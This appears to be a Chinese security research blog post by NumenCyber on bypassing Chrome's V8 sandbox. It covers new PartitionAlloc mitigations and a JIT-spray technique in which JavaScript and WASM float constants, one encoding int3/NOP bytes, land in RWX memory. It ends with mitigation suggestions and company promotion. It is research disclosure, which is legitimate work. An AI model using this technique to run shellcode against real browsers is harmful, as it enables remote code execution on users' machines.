01 - 前 言
2023 年 11 月 2 日,POC2023 在韩国如期举行。NumenCyber 两名研究员有幸受邀参加这次会议,一起分享了“Modern Chrome Exploit Chain Development”的议题。
由于题目冠名“Modern”,如果没有比较新的东西和参会者分享,确实会略显尴尬。于是,在会议议题选中后,我迅速投入 V8 沙箱绕过研究。起初,我尝试利用 fetch 过来的 binary data 绕过,最后,绕过了 PartitionAlloc,实现了完整地址的任意读写,于是我以为绕过了。之后我把 PPT 做完,迅速和主办方发过去,就安心等会议了。
2023 年 10 月 30 日早上 1 点,我突然觉得不能这么大意。半夜突发奇想,起来验证任意读写。大概在上次天府杯的 WASM 漏洞利用时,使用了 PartitionAlloc 的方法实现了任意读写,所以这次起初我并没有太多关心是否真的彻底成功了。因为我验证了下读写。然而,当我尝试读写 WASM 的时候,却崩溃了。我瞬间清醒了,这说明我并没有彻底完成 V8 沙箱绕过。
之后我调试了下,通过反汇编分析了原因:PartitionAlloc 已经不再是原来的那个 PartitionAlloc 了。确切的说,又添加了 4 个缓解措施:
我们不能通过修改 FreeList 来实现控制 MetadataPage 了。因为 Chrome 检查了当前地址和下一个地址的差值,如果不符合要求,那就直接中断(int)
控制了 MetadataPage 后,在之前的 x86 版本,会对 FreeList 的地址做逻辑运算,如果 FreeList 不符合要求,直接中断(int3)
Partition Alloc free list Mitigation
558110B6E62B - bswap rdx
558110B6E62E - mov rsi,rdx
558110B6E631 - xor rsi,r12
558110B6E634 - cmp rsi,001FFFFF { 2097151 }
558110B6E63B - ja chrome+2C26B80 { ->558110B6EB80 } INT3
558110B6E641 - mov esi,edx
558110B6E643 - and esi,001FC000 { 2080768 }
558110B6E649 - je chrome+2C26B80 { ->558110B6EB80 } INT3
3. PartitionAlloc 对目标地址的写入要求,做了地址范围限制:不能过小。4. 也不能过大:
Partition Alloc MetadataPage Mitigation(version 118.0.5993.117)
chrome+2D202FF - mov rax,[chrome+DC12B60] { (162400000000=min(Partition Addr)) }
chrome+2D20306 - cmp rax,r14 (r14 is destination addr)
chrome+2D20309 - ja chrome+2D20B8B INT3 (if dest < min(PartitionAlloc addr) then crash))
chrome+2D2030F - add rax,[chrome+DC12B70] { (0) } (rax+lengthOfParthtion)
chrome+2D20316 - cmp rax,r14
chrome+2D20319 - jbe chrome+2D20B8B INT3 (if dest > max(PartitionAlloc addr) then crash))
细致研究后我初步得出结论:
我并没有完整绕过 PartitonAlloc Alloc,只是获得了一定内存范围内的任意读写。
02 - 寻找新的攻击面
在初步确定没有完全绕过后,我立刻通过邮件与主办方联系,申请稍后更新 PPT。随后,无法入睡,我不停地尝试,直到凌晨 3 点,我认为可能发现了新的绕过方法。稍作休息,5 点起床后,我继续晚上的绕过尝试。经过调试,最终确认彻底绕过。
如果我们想绕过 V8 的沙箱,我们最终需要实现完整地址劫持和稳定的 shellcode 地址跳转。也就是说,需要稳定的 RWX/RX 地址计算。上次,我们公开了 WASM 绕过最新版 V8 沙箱,使用了 Function 的原生指针劫持。然而,我们公开后,谷歌迅速将 WASM 中的函数参数分配放在了可读可写的内存中,导致的结果是我们不能把想要的 shellcode 放在 WASM 中。这里,我们首先需要一个指针劫持,这个不太难,我认为是谷歌疏忽了这个点,如下所示
只要是 Chrome 研究人员,在编写 exploit 时,都会从内存中定位这个指针,然后计算 WASM 的地址,接着像以前一样,将 shellcode 写入。但是,谷歌没有对这个 Native 指针进行封装。
仔细研究 Manyuemo 给出的 JIT 优化的 shellcode 后,我发现即便在最新版 Chrome 中,优化后的浮点数仍旧会被放在 RWX 的内存中。但是如何稳定计算这个地址是个问题。我没有去研究 JIT 后的地址计算源码,因为时间紧迫。
function fun() {
// 1.123=3ff1f7ced916872b
return [1.123, 1.134, 1.345];
}
for (let i = 0; i < 0x5000; i++) {
fun(0);
}
fun();
55D9B81040B8 - mov eax,00000006 { 6 }
55D9B81040BD - mov [rdi+03],eax
55D9B81040C0 - mov r10,3FF1F7CED916872B { 1.12 }
55D9B81040CA - vmovq xmm0,r10
55D9B81040CF - vmovsd [rdi+07],xmm0
55D9B81040D4 - mov r10,3FF224DD2F1A9FBE { 1.13 }
55D9B81040DE - vmovq xmm0,r10
55D9B81040E3 - vmovsd [rdi+0F],xmm0
55D9B81040E8 - mov r10,3FF5851EB851EB85 { 0.00 }
55D9B81040F2 - vmovq xmm0,r10
这里我想提一句插曲是,其实过去很多时候在完成一个 exploit 后,有些点我也不清楚为什么会有效。因为老板急需成果,在现有条件和理论基础不够强的情况下,我能做的只能是不断尝试,寻找触发弹出计算器的方法。一般来说,一个 exploit 完成后,迅速向上级汇报,而其根本原因和底层原理则是日后才去研究的。我觉得过去几年的成果大多是不断尝试的结果。
03 - WASM 的 JIT
结合 Manyuemo 的 JIT 函数,我认为如果 V8 沙箱的绕过存在,很可能在其他一些边缘的地方。比如 WASM、WebAudio、WebSQL 等等,我们可以看到过去编写 exploit 容易的地方,谷歌一直在努力加强安全性。因此,我尝试了下 WASM 函数的 JIT。果然,我发现 WASM 函数优化后也会将参数放到 RWX 的内存中。
wat 代码
(module
(func (export "main") (result f64)
;; -6.654614018578406e+60=CC90909090909090
f64.const -6.654614018578406e+60
;; 1.124=3ff1fbe76c8b4396
f64.const 1.124
;; 1.125=3ff2000000000000
f64.const 1.125
;; 1.126=3ff204189374bc6a
f64.const 1.126
drop
drop
drop
))
var wasmCode = new Uint8Array([...wasm..binary…]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
for (let i = 0; i < 0x10000; i++) {
f();
}
%DebugPrint(wasmInstance);
javascript 测试代码
生成的代码如下:
355CEAE43715 - jbe 355CEAE43771
355CEAE4371B - mov r10,CC90909090909090 { -1869574000 }
355CEAE43725 - vmovq xmm0,r10
355CEAE4372A - mov r10,3FF1FBE76C8B4396 { 1.12 }
355CEAE43734 - vmovq xmm1,r10
355CEAE43739 - mov r10,3FF2000000000000 { 1.13 }
355CEAE43743 - vmovq xmm2,r10
355CEAE43748 - mov r10,3FF204189374BC6A { 1.13 }
355CEAE43752 - vmovq xmm3,r10
04 - 演示
05 - 总结
在兼顾 JIT 性能的同时,类似于之前的 WASM 绕过,我们不得不考虑将浮点数等比较长的可预测常量属性设置为 R/RW,或者同时修复它们的可预测地址方法。否则,攻击者很容易获得稳定的 shellcode 执行。
06 - 参考
https://blog.noah.360.net/chromium_v8_remote_code_execution_vulnerability_analysis/
https://medium.com/@numencyberlabs/use-native-pointer-of-function-to-bypass-the-latest-chrome-v8-sandbox-exp-of-issue1378239-251d9c5b0d14
https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078
https://medium.com/numen-cyber-labs/analysis-and-summary-of-tcp-ip-protocol-remote-code-execution-vulnerability-cve-2022-34718-8fcc28538acf
https://bugs.chromium.org/p/chromium/issues/detail?id=1452137
Numen Cyber 是链上威胁检测与防御的先驱,团队成员拥有在亚马逊、华为、百度、奇虎 360 等众多知名大厂与 OKlink,知道创宇,成都链安等知名 Web3 主体安全岗位从业经历。
拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品,分别可在应用层和物理层为 Web3 项目提供保护。其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能,可以为 Web3 生态提供一站式全方位的保护;Leukocyte 则是保护服务器安全,实时检测黑客针对服务器的各种攻击并自动阻断、报警。
目前 Numen Cyber 的合作伙伴包括不限于 Binance,Cobo,Suiet 等,也包括中国移动、中国电信、中国联通,以及阿里云、腾讯、华为、亚马逊、微软等。
【免责声明】市场有风险,投资需谨慎。本文不构成投资建议,用户应考虑本文中的任何意见、观点或结论是否符合其特定状况。据此投资,责任自负。